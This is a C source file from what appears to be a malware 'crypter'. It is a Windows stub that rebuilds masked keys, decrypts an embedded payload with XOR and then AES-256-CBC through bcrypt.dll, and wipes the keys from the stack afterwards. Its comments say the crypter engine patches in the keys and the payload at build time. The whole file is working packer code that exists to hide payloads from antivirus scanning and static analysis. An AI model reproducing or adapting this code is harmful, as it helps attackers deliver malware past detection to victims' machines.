167 lines
5.7 KiB
C
Executable File
167 lines
5.7 KiB
C
Executable File
/**
|
|
* decrypt_layer.c — XOR + AES-256-CBC decryption using bcrypt.dll
|
|
*
|
|
* Layered decryption:
|
|
* 1. XOR decrypt with embedded 32-byte key
|
|
* 2. AES-256-CBC decrypt via Windows CNG (bcrypt.dll)
|
|
*
|
|
* Keys, IV, and payload are patched in by the crypter engine at build time.
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <bcrypt.h>
|
|
#include <stdint.h>
|
|
#include <string.h>
|
|
|
|
#pragma comment(lib, "bcrypt")
|
|
|
|
/* ── Patched at build time (keys XOR'd with per-build mask) ───────── */
|
|
|
|
/* CRYPTER_KEY_MASK_PLACEHOLDER */
|
|
static const uint8_t KEY_MASK[32] = { 0 };
|
|
|
|
/* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */
|
|
static const uint8_t XOR_KEY_ENC[32] = { 0 };
|
|
|
|
/* CRYPTER_AES_KEY_ENC_PLACEHOLDER */
|
|
static const uint8_t AES_KEY_ENC[32] = { 0 };
|
|
|
|
/* CRYPTER_AES_IV_ENC_PLACEHOLDER */
|
|
static const uint8_t AES_IV_ENC[16] = { 0 };
|
|
|
|
/* CRYPTER_PAYLOAD_PLACEHOLDER */
|
|
static const uint8_t ENCRYPTED_PAYLOAD[] = { 0 };
|
|
|
|
/* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */
|
|
static const uint32_t PAYLOAD_LEN = 0;
|
|
|
|
/* ── XOR layer ─────────────────────────────────────────────────────── */
|
|
|
|
static void xor_decrypt(uint8_t *data, uint32_t len, const uint8_t *key, uint32_t key_len) {
|
|
for (uint32_t i = 0; i < len; i++) {
|
|
data[i] ^= key[i % key_len];
|
|
}
|
|
}
|
|
|
|
/* ── AES-256-CBC layer (CNG) ───────────────────────────────────────── */
|
|
|
|
static int aes_decrypt(const uint8_t *ciphertext, uint32_t ct_len,
|
|
const uint8_t *key, const uint8_t *iv,
|
|
uint8_t *plaintext, uint32_t *pt_len) {
|
|
BCRYPT_ALG_HANDLE hAlg = NULL;
|
|
BCRYPT_KEY_HANDLE hKey = NULL;
|
|
NTSTATUS status;
|
|
ULONG result_len = 0;
|
|
DWORD key_obj_size = 0;
|
|
ULONG data_size = 0;
|
|
uint8_t *key_obj = NULL;
|
|
uint8_t iv_copy[16];
|
|
int ret = 0;
|
|
|
|
/* Open AES provider */
|
|
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
|
|
if (!BCRYPT_SUCCESS(status)) return 0;
|
|
|
|
/* Set CBC mode */
|
|
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
|
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
|
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
|
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
|
|
|
/* Get key object size */
|
|
status = BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
|
|
(PUCHAR)&key_obj_size, sizeof(key_obj_size),
|
|
&data_size, 0);
|
|
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
|
|
|
key_obj = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, key_obj_size);
|
|
if (!key_obj) goto cleanup;
|
|
|
|
/* Generate symmetric key */
|
|
status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_size,
|
|
(PUCHAR)key, 32, 0);
|
|
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
|
|
|
/* BCryptDecrypt modifies the IV buffer in-place, so copy it */
|
|
memcpy(iv_copy, iv, 16);
|
|
|
|
/* Decrypt */
|
|
status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, ct_len, NULL,
|
|
iv_copy, 16, plaintext, ct_len, &result_len, BCRYPT_BLOCK_PADDING);
|
|
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
|
|
|
*pt_len = result_len;
|
|
ret = 1;
|
|
|
|
cleanup:
|
|
if (hKey) BCryptDestroyKey(hKey);
|
|
if (key_obj) HeapFree(GetProcessHeap(), 0, key_obj);
|
|
if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
|
|
return ret;
|
|
}
|
|
|
|
/* ── Public API ────────────────────────────────────────────────────── */
|
|
|
|
/**
|
|
* Derive a key by XOR'ing encrypted key with mask. Operates on the stack.
|
|
*/
|
|
static void derive_key(uint8_t *out, const uint8_t *enc, const uint8_t *mask, uint32_t len) {
|
|
for (uint32_t i = 0; i < len; i++) {
|
|
out[i] = enc[i] ^ mask[i % 32];
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Decrypt the embedded payload. Caller must HeapFree the returned buffer.
|
|
* Returns NULL on failure.
|
|
*/
|
|
uint8_t *decrypt_payload(uint32_t *out_len) {
|
|
/* Derive keys on the stack from masked storage */
|
|
volatile uint8_t xor_key[32];
|
|
volatile uint8_t aes_key[32];
|
|
volatile uint8_t aes_iv[16];
|
|
|
|
derive_key((uint8_t *)xor_key, XOR_KEY_ENC, KEY_MASK, 32);
|
|
derive_key((uint8_t *)aes_key, AES_KEY_ENC, KEY_MASK, 32);
|
|
derive_key((uint8_t *)aes_iv, AES_IV_ENC, KEY_MASK, 16);
|
|
|
|
/* Copy encrypted payload to writable buffer for XOR pass */
|
|
uint32_t enc_len = PAYLOAD_LEN;
|
|
uint8_t *buf = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
|
|
if (!buf) goto wipe_keys;
|
|
memcpy(buf, ENCRYPTED_PAYLOAD, enc_len);
|
|
|
|
/* Layer 1: XOR */
|
|
xor_decrypt(buf, enc_len, (const uint8_t *)xor_key, 32);
|
|
|
|
/* Layer 2: AES-256-CBC */
|
|
uint8_t *plaintext = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
|
|
if (!plaintext) {
|
|
HeapFree(GetProcessHeap(), 0, buf);
|
|
goto wipe_keys;
|
|
}
|
|
|
|
uint32_t pt_len = 0;
|
|
if (!aes_decrypt(buf, enc_len, (const uint8_t *)aes_key, (const uint8_t *)aes_iv, plaintext, &pt_len)) {
|
|
HeapFree(GetProcessHeap(), 0, buf);
|
|
HeapFree(GetProcessHeap(), 0, plaintext);
|
|
goto wipe_keys;
|
|
}
|
|
|
|
HeapFree(GetProcessHeap(), 0, buf);
|
|
|
|
/* Wipe derived keys from stack */
|
|
SecureZeroMemory((void *)xor_key, 32);
|
|
SecureZeroMemory((void *)aes_key, 32);
|
|
SecureZeroMemory((void *)aes_iv, 16);
|
|
|
|
*out_len = pt_len;
|
|
return plaintext;
|
|
|
|
wipe_keys:
|
|
SecureZeroMemory((void *)xor_key, 32);
|
|
SecureZeroMemory((void *)aes_key, 32);
|
|
SecureZeroMemory((void *)aes_iv, 16);
|
|
return NULL;
|
|
}
|